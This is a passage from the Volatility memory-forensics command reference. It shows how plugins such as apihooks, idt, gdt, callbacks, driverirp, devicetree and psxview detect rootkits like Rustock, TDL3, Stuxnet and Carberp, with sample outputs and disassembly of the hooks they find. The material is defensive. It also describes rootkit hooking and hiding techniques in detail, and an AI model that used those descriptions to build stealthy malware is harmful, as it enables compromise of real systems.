      
    0xe50000 58               POP EAX  
      
    0xe50001 680500e600       PUSH DWORD 0xe60005  
      
    0xe50006 6800000000       PUSH DWORD 0x0  
      
    0xe5000b 680000807c       PUSH DWORD 0x7c800000  
      
    0xe50010 6828180310       PUSH DWORD 0x10031828  
      
    0xe50015 50               PUSH EAX  
      
      
      
    [snip]
[/code]

Here is an example of detecting the PUSH/RET Inline hooks installed by Laqma:

[code]

    $ python vol.py -f laqma.vmem -p 1624 apihooks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Hook mode: Usermode  
      
    Hook type: Inline/Trampoline  
      
    Process: 1624 (explorer.exe)  
      
    Victim module: USER32.dll (0x7e410000 - 0x7e4a0000)  
      
    Function: USER32.dll!MessageBoxA at 0x7e45058a  
      
    Hook address: 0xac10aa  
      
    Hooking module: Dll.dll  
      
      
      
    Disassembly(0):  
      
    0x7e45058a 68aa10ac00       PUSH DWORD 0xac10aa  
      
    0x7e45058f c3               RET  
      
    0x7e450590 3dbc04477e       CMP EAX, 0x7e4704bc  
      
    0x7e450595 00742464         ADD [ESP+0x64], DH  
      
    0x7e450599 a118000000       MOV EAX, [0x18]  
      
    0x7e45059e 6a00             PUSH 0x0  
      
    0x7e4505a0 ff               DB 0xff  
      
    0x7e4505a1 70               DB 0x70  
      
      
      
    Disassembly(1):  
      
    0xac10aa 53               PUSH EBX  
      
    0xac10ab 56               PUSH ESI  
      
    0xac10ac 57               PUSH EDI  
      
    0xac10ad 90               NOP  
      
    0xac10ae 90               NOP  
      
      
      
    [snip]
[/code]

Here is an example of using apihooks to detect the syscall patches in
ntdll.dll \(using a Carberp sample\):

[code]

    $ python vol.py -f carberp.vmem -p 1004 apihooks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Hook mode: Usermode  
      
    Hook type: NT Syscall  
      
    Process: 1004 (explorer.exe)  
      
    Victim module: ntdll.dll (0x7c900000 - 0x7c9af000)  
      
    Function: NtQueryDirectoryFile  
      
    Hook address: 0x1da658f  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0x7c90d750 b891000000       MOV EAX, 0x91  
      
    0x7c90d755 ba84ddda01       MOV EDX, 0x1dadd84  
      
    0x7c90d75a ff12             CALL DWORD [EDX]  
      
    0x7c90d75c c22c00           RET 0x2c  
      
    0x7c90d75f 90               NOP  
      
    0x7c90d760 b892000000       MOV EAX, 0x92  
      
    0x7c90d765 ba               DB 0xba  
      
    0x7c90d766 0003             ADD [EBX], AL  
      
      
      
    Disassembly(1):  
      
    0x1da658f 58               POP EAX  
      
    0x1da6590 8d056663da01     LEA EAX, [0x1da6366]  
      
    0x1da6596 ffe0             JMP EAX  
      
    0x1da6598 c3               RET  
      
    0x1da6599 55               PUSH EBP  
      
    0x1da659a 8bec             MOV EBP, ESP  
      
    0x1da659c 51               PUSH ECX  
      
    0x1da659d 8365fc00         AND DWORD [EBP+0xfffffffc], 0x0  
      
    0x1da65a1 688f88d69b       PUSH DWORD 0x9bd6888f  
      
      
      
    [snip]
[/code]

Here is an example of using apihooks to detect the Inline hook of a kernel
mode function:

[code]

    $ python vol.py apihooks -f rustock.vmem   
      
    ************************************************************************  
      
    Hook mode: Kernelmode  
      
    Hook type: Inline/Trampoline  
      
    Victim module: ntoskrnl.exe (0x804d7000 - 0x806cf980)  
      
    Function: ntoskrnl.exe!IofCallDriver at 0x804ee130  
      
    Hook address: 0xb17a189d  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0x804ee130 ff2580c25480     JMP DWORD [0x8054c280]  
      
    0x804ee136 cc               INT 3  
      
    0x804ee137 cc               INT 3  
      
    0x804ee138 cc               INT 3  
      
    0x804ee139 cc               INT 3  
      
    0x804ee13a cc               INT 3  
      
    0x804ee13b cc               INT 3  
      
    0x804ee13c 8bff             MOV EDI, EDI  
      
    0x804ee13e 55               PUSH EBP  
      
    0x804ee13f 8bec             MOV EBP, ESP  
      
    0x804ee141 8b4d08           MOV ECX, [EBP+0x8]  
      
    0x804ee144 83f929           CMP ECX, 0x29  
      
    0x804ee147 72               DB 0x72  
      
      
      
    Disassembly(1):  
      
    0xb17a189d 56               PUSH ESI  
      
    0xb17a189e 57               PUSH EDI  
      
    0xb17a189f 8bf9             MOV EDI, ECX  
      
    0xb17a18a1 8b7708           MOV ESI, [EDI+0x8]  
      
    0xb17a18a4 3b35ab6d7ab1     CMP ESI, [0xb17a6dab]  
      
    0xb17a18aa 7509             JNZ 0xb17a18b5  
      
    0xb17a18ac 52               PUSH EDX  
      
    0xb17a18ad 57               PUSH EDI  
      
    0xb17a18ae e8c6430000       CALL 0xb17a5c79  
      
    0xb17a18b3 eb6a             JMP 0xb17a191f
[/code]

Here is an example of using apihooks to detect the calls to an unknown code
page from a kernel driver. In this case, malware has patched tcpip.sys with
some malicious redirections.

[code]

    $ python vol.py -f rustock-c.vmem apihooks   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Hook mode: Kernelmode  
      
    Hook type: Unknown Code Page Call  
      
    Victim module: tcpip.sys (0xf7bac000 - 0xf7c04000)  
      
    Function: <unknown>  
      
    Hook address: 0x81ecd0c0  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0xf7be2514 ff15bcd0ec81     CALL DWORD [0x81ecd0bc]  
      
    0xf7be251a 817dfc03010000   CMP DWORD [EBP+0xfffffffc], 0x103  
      
    0xf7be2521 7506             JNZ 0xf7be2529  
      
    0xf7be2523 57               PUSH EDI  
      
    0xf7be2524 e8de860000       CALL 0xf7beac07  
      
    0xf7be2529 83               DB 0x83  
      
    0xf7be252a 66               DB 0x66  
      
    0xf7be252b 10               DB 0x10  
      
      
      
    Disassembly(1):  
      
    0x81ecd0c0 0e               PUSH CS  
      
    0x81ecd0c1 90               NOP  
      
    0x81ecd0c2 83ec04           SUB ESP, 0x4  
      
    0x81ecd0c5 c704246119c481   MOV DWORD [ESP], 0x81c41961  
      
    0x81ecd0cc cb               RETF  
      
      
      
    [snip]
[/code]

##  idt

To print the system's IDT \(Interrupt Descriptor Table\), use the idt command.
If there are multiple processors on the system, the IDT for each individual
CPU is displayed. You'll see the CPU number, the GDT selector, the current
address and owning module, and the name of the PE section in which the IDT
function resides. If you supply the --verbose parameter, a disassembly of the
IDT function will be shown.Some rootkits hook the IDT entry for
KiSystemService, but point it at a routine inside the NT module \(where
KiSystemService should point\). However, at that address, there is an Inline
hook. The following output shows an example of how Volatility can point this
out for you. Notice how the 0x2E entry for KiSystemService is in the .rsrc
section of ntoskrnl.exe instead of .text like all others.

[code]

    $ python vol.py -f rustock.vmem idt   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
       CPU  Index Selector Value      Module               Section       
      
    ------ ------ -------- ---------- -------------------- ------------  
      
         0      0        8 0x8053e1cc ntoskrnl.exe         .text         
      
         0      1        8 0x8053e344 ntoskrnl.exe         .text         
      
         0      2       88 0x00000000 ntoskrnl.exe                       
      
         0      3        8 0x8053e714 ntoskrnl.exe         .text         
      
         0      4        8 0x8053e894 ntoskrnl.exe         .text         
      
         0      5        8 0x8053e9f0 ntoskrnl.exe         .text         
      
         0      6        8 0x8053eb64 ntoskrnl.exe         .text         
      
         0      7        8 0x8053f1cc ntoskrnl.exe         .text         
      
         0      8       80 0x00000000 ntoskrnl.exe                       
      
    [snip]      
      
         0     2B        8 0x8053db10 ntoskrnl.exe         .text         
      
         0     2C        8 0x8053dcb0 ntoskrnl.exe         .text         
      
         0     2D        8 0x8053e5f0 ntoskrnl.exe         .text         
      
         0     2E        8 0x806b01b8 ntoskrnl.exe         .rsrc  
      
    [snip]
[/code]

To get more details about the possible IDT modification, use --verbose:

[code]

    $ python vol.py -f rustock.vmem idt --verbose  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
       CPU  Index Selector Value      Module               Section       
      
    ------ ------ -------- ---------- -------------------- ------------  
      
    [snip]  
      
         0     2E        8 0x806b01b8 ntoskrnl.exe         .rsrc         
      
    0x806b01b8 e95c2c0f31       JMP 0xb17a2e19  
      
    0x806b01bd e9832c0f31       JMP 0xb17a2e45  
      
    0x806b01c2 4e               DEC ESI  
      
    0x806b01c3 44               INC ESP  
      
    0x806b01c4 4c               DEC ESP  
      
    0x806b01c5 45               INC EBP  
      
    0x806b01c6 44               INC ESP  
      
    0x806b01c7 5f               POP EDI
[/code]

##  gdt

To print the system's GDT \(Global Descriptor Table\), use the gdt command.
This is useful for detecting rootkits like Alipop that install a call gate so
that user mode programs can call directly into kernel mode \(using a CALL FAR
instruction\).If your system has multiple CPUs, the GDT for each processor is
shown.In the output below, you can see that selector 0x3e0 has been infected
and used for the purposes of a 32-bit call gate. The call gate address is
0x8003f000, which is where execution continues.

[code]

    $ python vol.py -f alipop.vmem gdt   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
       CPU        Sel Base            Limit Type              DPL Gr   Pr    
      
    ------ ---------- ---------- ---------- -------------- ------ ---- ----  
      
         0        0x0 0x00ffdf0a     0xdbbb TSS16 Busy          2 By   P     
      
         0        0x8 0x00000000 0xffffffff Code RE Ac          0 Pg   P     
      
         0       0x10 0x00000000 0xffffffff Data RW Ac          0 Pg   P     
      
         0       0x18 0x00000000 0xffffffff Code RE Ac          3 Pg   P     
      
         0       0x20 0x00000000 0xffffffff Data RW Ac          3 Pg   P     
      
         0       0x28 0x80042000     0x20ab TSS32 Busy          0 By   P     
      
         0       0x30 0xffdff000     0x1fff Data RW Ac          0 Pg   P     
      
         0       0x38 0x00000000      0xfff Data RW Ac          3 By   P     
      
         0       0x40 0x00000400     0xffff Data RW             3 By   P     
      
         0       0x48 0x00000000        0x0 <Reserved>          0 By   Np   
      
    [snip]  
      
         0      0x3d0 0x00008003     0xf3d8 <Reserved>          0 By   Np    
      
         0      0x3d8 0x00008003     0xf3e0 <Reserved>          0 By   Np    
      
         0      0x3e0 0x8003f000        0x0 CallGate32          3 -    P     
      
         0      0x3e8 0x00000000 0xffffffff Code RE Ac          0 Pg   P     
      
         0      0x3f0 0x00008003     0xf3f8 <Reserved>          0 By   Np    
      
         0      0x3f8 0x00000000        0x0 <Reserved>          0 By   Np 
[/code]

If you want to further investigate the infection, you can break into a
CommandReference21\#volshell as shown below. Then disassemble code at the call
gate address.

[code]

    $ python vol.py -f alipop.vmem volshell  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Current context: process System, pid=4, ppid=0 DTB=0x320000  
      
    Welcome to volshell! Current memory image is:  
      
    file:///Users/Michael/Desktop/alipop.vmem  
      
    To get help, type 'hh()'  
      
      
      
    >>> dis(0xffdf0adb, length=32)  
      
    0xffdf0adb c8000000                         ENTER 0x0, 0x0  
      
    0xffdf0adf 31c0                             XOR EAX, EAX  
      
    0xffdf0ae1 60                               PUSHA  
      
    0xffdf0ae2 8b5508                           MOV EDX, [EBP+0x8]  
      
    0xffdf0ae5 bb00704d80                       MOV EBX, 0x804d7000  
      
    0xffdf0aea 8b4b3c                           MOV ECX, [EBX+0x3c]  
      
    0xffdf0aed 8b6c0b78                         MOV EBP, [EBX+ECX+0x78]  
      
      
      
    >>> db(0xffdf0adb + 75, length = 512)  
      
    ffdf0b26   d9 03 1c 81 89 5c 24 1c 61 c9 c2 04 00 7e 00 80    ......$.a....~..  
      
    ffdf0b36   00 3b 0b df ff 5c 00 52 00 65 00 67 00 69 00 73    .;.....R.e.g.i.s  
      
    ffdf0b46   00 74 00 72 00 79 00 5c 00 4d 00 61 00 63 00 68    .t.r.y...M.a.c.h  
      
    ffdf0b56   00 69 00 6e 00 65 00 5c 00 53 00 4f 00 46 00 54    .i.n.e...S.O.F.T  
      
    ffdf0b66   00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63    .W.A.R.E...M.i.c  
      
    ffdf0b76   00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57    .r.o.s.o.f.t...W  
      
    ffdf0b86   00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43    .i.n.d.o.w.s...C  
      
    ffdf0b96   00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65    .u.r.r.e.n.t.V.e  
      
    ffdf0ba6   00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75    .r.s.i.o.n...R.u  
      
    ffdf0bb6   00 6e 00 00 00 06 00 08 00 c3 0b df ff 71 00 51    .n...........q.Q  
      
    ffdf0bc6   00 00 00 43 00 3a 00 5c 00 57 00 49 00 4e 00 44    ...C.:...W.I.N.D  
      
    ffdf0bd6   00 4f 00 57 00 53 00 5c 00 61 00 6c 00 69 00 2e    .O.W.S...a.l.i..  
      
    ffdf0be6   00 65 00 78 00 65 00 00 00 26 00 28 00 f7 0b df    .e.x.e...&.(....  
      
    ffdf0bf6   ff 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 52    ...S.y.s.t.e.m.R  
      
    ffdf0c06   00 6f 00 6f 00 74 00 5c 00 61 00 6c 00 69 00 2e    .o.o.t...a.l.i..  
      
    ffdf0c16   00 65 00 78 00 65 00 00 00 00 00 e8 03 00 ec 00    .e.x.e..........  
      
    ffdf0c26   00 ff ff 00 00 00 9a cf 00 4d 5a 90 00 03 00 00    .........MZ.....  
      
    ffdf0c36   00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00    ................  
      
    ffdf0c46   00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00    .@..............  
      
    ffdf0c56   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................  
      
    ffdf0c66   00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09    ................  
      
    ffdf0c76   cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67    .!..L.!This prog  
      
    ffdf0c86   72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75    ram cannot be ru  
      
    ffdf0c96   6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d    n in DOS mode...
[/code]

##  threads

The command gives you extensive details on threads, including the contents of
each thread's registers \(if available\), a disassembly of code at the
thread's start address, and various other fields that may be relevant to an
investigation. Since any given system has hundreds of threads, making it
difficult to sort through, this command associates descriptive tags to the
threads it finds - and then you can filter by tag name with the -F or --filter
parameter.To see a list of available tags/filters, use -L like this:

[code]

    $ python vol.py -f test.vmem threads -L  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Tag                  Description  
      
    --------------       --------------  
      
    DkomExit             Detect inconsistencies wrt exit times and termination  
      
    HwBreakpoints        Detect threads with hardware breakpoints  
      
    ScannerOnly          Detect threads no longer in a linked list  
      
    HideFromDebug        Detect threads hidden from debuggers  
      
    OrphanThread         Detect orphan threads  
      
    AttachedProcess      Detect threads attached to another process  
      
    HookedSSDT           Detect threads using a hooked SSDT  
      
    SystemThread         Detect system threads
[/code]

If you don't specify any filters, then the command will output information on
all threads. Otherwise, you can specify a single filter or multiple filters
separated by commas. Here is an example of hunting for threads that are
currently executing in the context of a process other than the process which
owns the thread:

[code]

    $ python vol.py -f XPSP3.vmem threads -F AttachedProcess  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ------  
      
    ETHREAD: 0x81eda7a0 Pid: 4 Tid: 484  
      
    Tags: SystemThread,AttachedProcess,HookedSSDT  
      
    Created: 2011-04-18 16:03:38  
      
    Exited: -  
      
    Owning Process: 0x823c8830 System  
      
    Attached Process: 0x81e3c458 services.exe  
      
    State: Running  
      
    BasePriority: THREAD_PRIORITY_NORMAL  
      
    TEB: 0x00000000  
      
    StartAddress: 0xb1805f1a windev-5e93-fd3.sys  
      
    ServiceTable: 0x80553020  
      
    [0] 0x80501bbc  
      
    [0x47] NtEnumerateKey 0xb1805944 windev-5e93-fd3.sys  
      
    [0x49] NtEnumerateValueKey 0xb1805aca windev-5e93-fd3.sys  
      
    [0x91] NtQueryDirectoryFile 0xb18055ee windev-5e93-fd3.sys  
      
    [1] -  
      
    [2] -  
      
    [3] -  
      
    Win32Thread: 0x00000000  
      
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM  
      
    b1805f1a: 8bff                         MOV EDI, EDI  
      
    b1805f1c: 55                           PUSH EBP  
      
    b1805f1d: 8bec                         MOV EBP, ESP  
      
    b1805f1f: 51                           PUSH ECX  
      
    b1805f20: 51                           PUSH ECX
[/code]

First, you see the virtual address of the ETHREAD object along with the
process ID and thread ID. Next you see all tags associated with the thread
\(SystemThread, AttachedProcess, \!HookedSSDT\), the creation/exit times,
state, priority, start address, etc. It shows the SSDT base along with the
address of each service table and any hooked functions in the tables. Finally,
you see a disassembly of the thread's start address.For a detailed description
of each tag/filter and instructions on how to add your own heuristics to the
threads command, see Investigating Windows Threads with Volatility.Note: with
the introduction of this command, two older commands \(orphan\_threads and
ssdt\_by\_threads\) have been deprecated.

##  callbacks

Volatility is the only memory forensics platform with the ability to print an
assortment of important notification routines and kernel callbacks. Rootkits,
anti-virus suites, dynamic analysis tools \(such as Sysinternals' Process
Monitor and Tcpview\), and many components of the Windows kernel use of these
callbacks to monitor and/or react to events. We detect the following:

  * PsSetCreateProcessNotifyRoutine \(process creation\).
  * PsSetCreateThreadNotifyRoutine \(thread creation\).
  * PsSetImageLoadNotifyRoutine \(DLL/image load\).
  * IoRegisterFsRegistrationChange \(file system registration\).
  * KeRegisterBugCheck and KeRegisterBugCheckReasonCallback.
  * CmRegisterCallback \(registry callbacks on XP\).
  * CmRegisterCallbackEx \(registry callbacks on Vista and 7\).
  * IoRegisterShutdownNotification \(shutdown callbacks\).
  * DbgSetDebugPrintCallback \(debug print callbacks on Vista and 7\).
  * DbgkLkmdRegisterCallback \(debug callbacks on 7\).

Here's an example of detecting the thread creation callback installed by the
BlackEnergy 2 malware. You can spot the malicious callback because the owner
is 00004A2A - and BlackEnergy 2 uses a module name composed of eight hex
characters.

[code]

    $ python vol.py -f be2.vmem callbacks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Type                                 Callback   Owner  
      
    PsSetCreateThreadNotifyRoutine       0xff0d2ea7 00004A2A  
      
    PsSetCreateProcessNotifyRoutine      0xfc58e194 vmci.sys  
      
    KeBugCheckCallbackListHead           0xfc1e85ed NDIS.sys (Ndis miniport)  
      
    KeBugCheckCallbackListHead           0x806d57ca hal.dll (ACPI 1.0 - APIC platform UP)  
      
    KeRegisterBugCheckReasonCallback     0xfc967ac0 mssmbios.sys (SMBiosData)  
      
    KeRegisterBugCheckReasonCallback     0xfc967a78 mssmbios.sys (SMBiosRegistry)  
      
    [snip]
[/code]

Here is an example of detecting the malicious process creation callback
installed by the Rustock rootkit \(points to memory owned by \Driver\pe386\).

[code]

    $ python vol.py -f rustock.vmem callbacks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Type                                 Callback   Owner  
      
    PsSetCreateProcessNotifyRoutine      0xf88bd194 vmci.sys  
      
    PsSetCreateProcessNotifyRoutine      0xb17a27ed '\\Driver\\pe386'  
      
    KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)  
      
    KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)  
      
    KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)  
      
    KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)  
      
    KeRegisterBugCheckReasonCallback     0xf8b7aa28 mssmbios.sys (SMBiosDataACPI)  
      
    KeRegisterBugCheckReasonCallback     0xf76201be USBPORT.SYS (USBPORT)  
      
    KeRegisterBugCheckReasonCallback     0xf762011e USBPORT.SYS (USBPORT)  
      
    KeRegisterBugCheckReasonCallback     0xf7637522 VIDEOPRT.SYS (Videoprt)  
      
    [snip]
[/code]

Here is an example of detecting the malicious registry change callback
installed by the Ascesso rootkit. There is one CmRegisterCallback pointing to
0x8216628f which does not have an owner. You also see two
GenericKernelCallback with the same address. This is because notifyroutines
finds callbacks in multiple ways. It combines list traversal and pool tag
scanning. This way, if the list traversal fails, we can still find information
with pool tag scanning. However, the Windows kernel uses the same types of
pool tags for various callbacks, so we label those as generic.

[code]

    $ python vol.py -f ascesso.vmem callbacks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Type                                 Callback   Owner  
      
    IoRegisterShutdownNotification       0xf853c2be ftdisk.sys (\Driver\Ftdisk)  
      
    IoRegisterShutdownNotification       0x805f5d66 ntoskrnl.exe (\Driver\WMIxWDM)  
      
    IoRegisterShutdownNotification       0xf83d98f1 Mup.sys (\FileSystem\Mup)  
      
    IoRegisterShutdownNotification       0xf86aa73a MountMgr.sys (\Driver\MountMgr)  
      
    IoRegisterShutdownNotification       0x805cdef4 ntoskrnl.exe (\FileSystem\RAW)  
      
    CmRegisterCallback                   0x8216628f UNKNOWN (--)  
      
    GenericKernelCallback                0xf888d194 vmci.sys  
      
    GenericKernelCallback                0x8216628f UNKNOWN  
      
    GenericKernelCallback                0x8216628f UNKNOWN
[/code]

##  driverirp

To print a driver's IRP \(Major Function\) table, use the driverirp command.
This command inherits from driverscan so that its able to locate
DRIVER\_OBJECTs. Then it cycles through the function table, printing the
purpose of each function, the function's address, and the owning module of the
address.Many drivers forward their IRP functions to other drivers for
legitimate purposes, so detecting hooked IRP functions based on containing
modules is not a good method. Instead, we print everything and let you be the
judge. The command also checks for Inline hooks of IRP functions and
optionally prints a disassembly of the instructions at the IRP address \(pass
-v or --verbose to enable this\).This command outputs information for all
drivers, unless you specify a regular expression filter.

[code]

    $ python vol.py -f tdl3.vmem driverirp -r vmscsi  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    --------------------------------------------------  
      
    DriverName: vmscsi  
      
    DriverStart: 0xf9db8000  
      
    DriverSize: 0x2c00  
      
    DriverStartIo: 0xf97ea40e  
      
       0 IRP_MJ_CREATE                        0xf9db9cbd vmscsi.sys  
      
       1 IRP_MJ_CREATE_NAMED_PIPE             0xf9db9cbd vmscsi.sys  
      
       2 IRP_MJ_CLOSE                         0xf9db9cbd vmscsi.sys  
      
       3 IRP_MJ_READ                          0xf9db9cbd vmscsi.sys  
      
       4 IRP_MJ_WRITE                         0xf9db9cbd vmscsi.sys  
      
       5 IRP_MJ_QUERY_INFORMATION             0xf9db9cbd vmscsi.sys  
      
       6 IRP_MJ_SET_INFORMATION               0xf9db9cbd vmscsi.sys  
      
       7 IRP_MJ_QUERY_EA                      0xf9db9cbd vmscsi.sys  
      
    [snip]
[/code]

In the output, it is not apparent that the vmscsi.sys driver has been infected
by the TDL3 rootkit. Although all IRPs point back into vmscsi.sys, they point
at a stub staged in that region by TDL3 for the exact purpose of bypassing
rootkit detection tools. To get extended information, use --verbose:

[code]

    $ python vol.py -f tdl3.vmem driverirp -r vmscsi --verbose  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    --------------------------------------------------  
      
    DriverName: vmscsi  
      
    DriverStart: 0xf9db8000  
      
    DriverSize: 0x2c00  
      
    DriverStartIo: 0xf97ea40e  
      
       0 IRP_MJ_CREATE                        0xf9db9cbd vmscsi.sys  
      
      
      
    0xf9db9cbd a10803dfff       MOV EAX, [0xffdf0308]  
      
    0xf9db9cc2 ffa0fc000000     JMP DWORD [EAX+0xfc]  
      
    0xf9db9cc8 0000             ADD [EAX], AL  
      
    0xf9db9cca 0000             ADD [EAX], AL  
      
      
      
       1 IRP_MJ_CREATE_NAMED_PIPE             0xf9db9cbd vmscsi.sys  
      
    0xf9db9cbd a10803dfff       MOV EAX, [0xffdf0308]  
      
    0xf9db9cc2 ffa0fc000000     JMP DWORD [EAX+0xfc]  
      
    0xf9db9cc8 0000             ADD [EAX], AL  
      
    0xf9db9cca 0000             ADD [EAX], AL  
      
      
      
    [snip]
[/code]

Now you can see that TDL3 redirects all IRPs to its own stub in the vmscsi.sys
driver. That code jumps to whichever address is pointed to by 0xffdf0308 - a
location in the KUSER\_SHARED\_DATA region.

##  devicetree

Windows uses a layered driver architecture, or driver chain so that multiple
drivers can inspect or respond to an IRP. Rootkits often insert drivers \(or
devices\) into this chain for filtering purposes \(to hide files, hide network
connections, steal keystrokes or mouse movements\). The devicetree plugin
shows the relationship of a driver object to its devices \(by walking
`_DRIVER_OBJECT.DeviceObject.NextDevice`\) and any attached devices
\(`_DRIVER_OBJECT.DeviceObject.AttachedDevice`\).In the example below, Stuxnet
has infected \FileSystem\Ntfs by attaching a malicious unnamed device.
Although the device itself is unnamed, the device object identifies its driver
\(\Driver\MRxNet\).

[code]

    $ python vol.py -f stuxnet.vmem devicetree  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    [snip]  
      
    DRV 0x0253d180 '\\FileSystem\\Ntfs'  
      
    ---| DEV 0x82166020 (unnamed) FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ------| ATT 0x8228c6b0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ---------| ATT 0x81f47020 (unnamed) - '\\FileSystem\\FltMgr' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ------------| ATT 0x81fb9680 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ---| DEV 0x8224f790 Ntfs FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ------| ATT 0x81eecdd0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ---------| ATT 0x81e859c8 (unnamed) - '\\FileSystem\\FltMgr' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    ------------| ATT 0x81f0ab90 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM  
      
    [snip]
[/code]

The devicetree plugin uses "DRV" to indicate drivers, "DEV" to indicate
devices, and "ATT" to indicate attached devices \(just like OSR's DeviceTree
utility\).The x64 version looks very similar:

[code]

    $ /usr/bin/python2.6 vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 devicetreeVolatile Systems Volatility Framework 2.1_alpha  
      
    DRV 0x174c6350 \Driver\mouhid  
      
    ---| DEV 0xfffffa8000dfbc90  FILE_DEVICE_MOUSE  
      
    ------| ATT 0xfffffa8000ec7060  - \Driver\mouclass FILE_DEVICE_MOUSE  
      
    DRV 0x17660cb0 \Driver\rspndr  
      
    ---| DEV 0xfffffa80005a1c20 rspndr FILE_DEVICE_NETWORK  
      
    DRV 0x17663e70 \Driver\lltdio  
      
    ---| DEV 0xfffffa8000c78b70 lltdio FILE_DEVICE_NETWORK  
      
    DRV 0x17691d70 \Driver\cdrom  
      
    ---| DEV 0xfffffa8000d00060 CdRom0 FILE_DEVICE_CD_ROM  
      
    DRV 0x176a7280 \FileSystem\Msfs  
      
    ---| DEV 0xfffffa8000cac060 Mailslot FILE_DEVICE_MAILSLOT  
      
    DRV 0x176ac6f0 \FileSystem\Npfs  
      
    ---| DEV 0xfffffa8000cac320 NamedPipe FILE_DEVICE_NAMED_PIPE  
      
    DRV 0x176ade70 \Driver\tdx  
      
    ---| DEV 0xfffffa8000cb8c00 RawIp6 FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cb8e30 RawIp FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cb7510 Udp6 FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cb7740 Udp FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cb7060 Tcp6 FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cad140 Tcp FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000cadbb0 Tdx FILE_DEVICE_TRANSPORT  
      
    DRV 0x176ae350 \Driver\Psched  
      
    ---| DEV 0xfffffa8000cc4590 Psched FILE_DEVICE_NETWORK  
      
    DRV 0x176aee70 \Driver\WfpLwf  
      
    DRV 0x176b93a0 \Driver\AFD  
      
    ---| DEV 0xfffffa8000cb9180 Afd FILE_DEVICE_NAMED_PIPE  
      
    DRV 0x176c28a0 \Driver\NetBT  
      
    ---| DEV 0xfffffa8000db4060 NetBT_Tcpip_{EE0434CC-82D1-47EA-B5EB-AF721863ACC2} FILE_DEVICE_NETWORK  
      
    ---| DEV 0xfffffa8000c1d8f0 NetBt_Wins_Export FILE_DEVICE_NETWORK  
      
    DRV 0x176c3930 \FileSystem\NetBIOS  
      
    ---| DEV 0xfffffa8000cc3680 Netbios FILE_DEVICE_TRANSPORT  
      
    [snip]
[/code]

##  psxview

This plugin helps you detect hidden processes by comparing what
PsActiveProcessHead contains with what is reported by various other sources of
process listings. It compares the following:

  * PsActiveProcessHead linked list
  * EPROCESS pool scanning
  * ETHREAD pool scanning \(then it references the owning EPROCESS\)
  * PspCidTable
  * Csrss.exe handle table
  * Csrss.exe internal linked list

On Windows Vista and Windows 7 the internal list of processes in csrss.exe is
not available. It also may not be available in some XP images where certain
pages are not memory resident.Here is an example of detecting the Prolaco
malware with psxview. A "False" in any column indicates that the respective
process is missing. You can tell "1\_doc\_RCData\_61" is suspicious since it
shows up in every column except pslist \(PsActiveProcessHead\).

[code]

    $ python vol.py -f prolaco.vmem psxview  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)  Name                    PID pslist psscan thrdproc pspcdid csrss  
      
    ---------- -------------------- ------ ------ ------ -------- ------- -----  
      
    0x06499b80 svchost.exe            1148 True   True   True     True    True   
      
    0x04b5a980 VMwareUser.exe          452 True   True   True     True    True   
      
    0x0655fc88 VMUpgradeHelper        1788 True   True   True     True    True   
      
    0x0211ab28 TPAutoConnSvc.e        1968 True   True   True     True    True   
      
    0x04c2b310 wscntfy.exe             888 True   True   True     True    True   
      
    0x061ef558 svchost.exe            1088 True   True   True     True    True   
      
